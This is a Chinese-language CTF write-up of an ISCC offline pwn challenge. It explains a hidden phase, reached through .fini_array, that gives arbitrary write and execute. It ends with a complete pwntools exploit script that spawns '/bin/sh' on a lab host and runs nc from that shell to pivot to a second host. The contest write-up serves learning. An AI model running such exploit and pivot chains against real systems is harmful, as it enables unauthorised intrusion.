iscc线下pwn WriteUP

这个月和两名队友一起去北京打了平生第一次线下赛,比赛结束就开始水到现在了,决定写个WP之后继续好好学习吧。然后其实虽然成绩尚可,不过我只是做了一个并不怎么难的Pwn而已,高地的Pwn还没怎么看过(因为不懂规则还缺乏经验所以只能手动打私地,没时间继续看题了。。。)准备明天就开始做高地题,做得出来的话会更新在下面。

私地Pwn

前面的四个小关很简单,第一关就是个一元方程,第二关就是个有规律的数列,第三关就是map一下,第四关就是一个多元方程。

通过之后发现 system(“cat flag.txt”); 并不能真的拿到flag(我当时还以为我做完了,后来仔细想想线下肯定是要拿shell的啊!

回过头看verify_working()里有个secret_phase()(隐藏关卡),进入条件是最后输入的值不在keys的表中,这个不难,我只要在第三关答案的末尾加上’z’之后的字符比如’{‘就可以了,进入隐藏关的同时我还发现这题其实还是有不少东西我没有用到,比如很可疑的pp、gg还有__nr函数。

隐藏关里看似只是让你给第四关里的结构体改个名,然而在gg里可以发现,就在改名区存在任意地址执行,而nr里有任意地址写,满足拿shell的条件,就在我当时还想着怎么达到gg函数的时候,交叉引用发现在.fini_array里写着gg的地址,调试了一下发现,果然和我猜的一样是在程序结束的时候执行的(这里虽然缺乏姿势不过还算好猜

之后就是简单的构造和疯狂的打分了,最后颁奖仪式上官方定位这题为易,是私地高地一共6题中最简单的了,后来想想的确是这样,不过多亏了这题,我们队大部分的分都是靠这题打的23333

最后附上Payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
#coding=utf8
from pwn import *
#context.log_level = 'debug'
context.terminal = ['gnome-terminal','-x','bash','-c']

def z(a=''):
gdb.attach(cn,a)
if a == '':
raw_input()


cn = remote('192.168.31.82',8000)
#cn = process('./wTEdNnGnqZHQigN8.Pwn02')

cn.sendline('8584')

cn.sendline('[1, 1, 3, 5, 11, 21]')

cn.sendline('mappingstringsforfunandprofit{')

cn.sendline('0 0 1 0 0 3 1 a')

sys = 0x080485A0
#z('set follow-fork-mode parent\nb*0x080487F7\nc')

buf = 'aaaa' + p32(0x08048CDA)
cn.sendline(buf)

buf = 'bbbb' + p32(sys)
cn.sendline(buf)

cn.sendline('')
cn.sendline('')

buf = 'a' * 0xfc + p32(0x0804B070)
cn.sendline(buf)

cn.sendline('/bin/sh\x00')

cn.recv()

sleep(1)
print 'step1...ok!'

cn.sendline('nc 192.168.35.80 8000')

cn.sendline('8584')

cn.sendline('[1, 1, 3, 5, 11, 21]')
cn.sendline('mappingstringsforfunandprofit{')

cn.sendline('0 0 1 0 0 3 1 a')

sys = 0x080485A0
#z('set follow-fork-mode parent\nb*0x080487F7\nc')

buf = 'aaaa' + p32(0x08048CDA)
cn.sendline(buf)

buf = 'bbbb' + p32(sys)
cn.sendline(buf)

cn.sendline('')
cn.sendline('')

buf = 'a' * 0xfc + p32(0x0804B070)
cn.sendline(buf)

cn.sendline('/bin/sh\x00')

cn.interactive()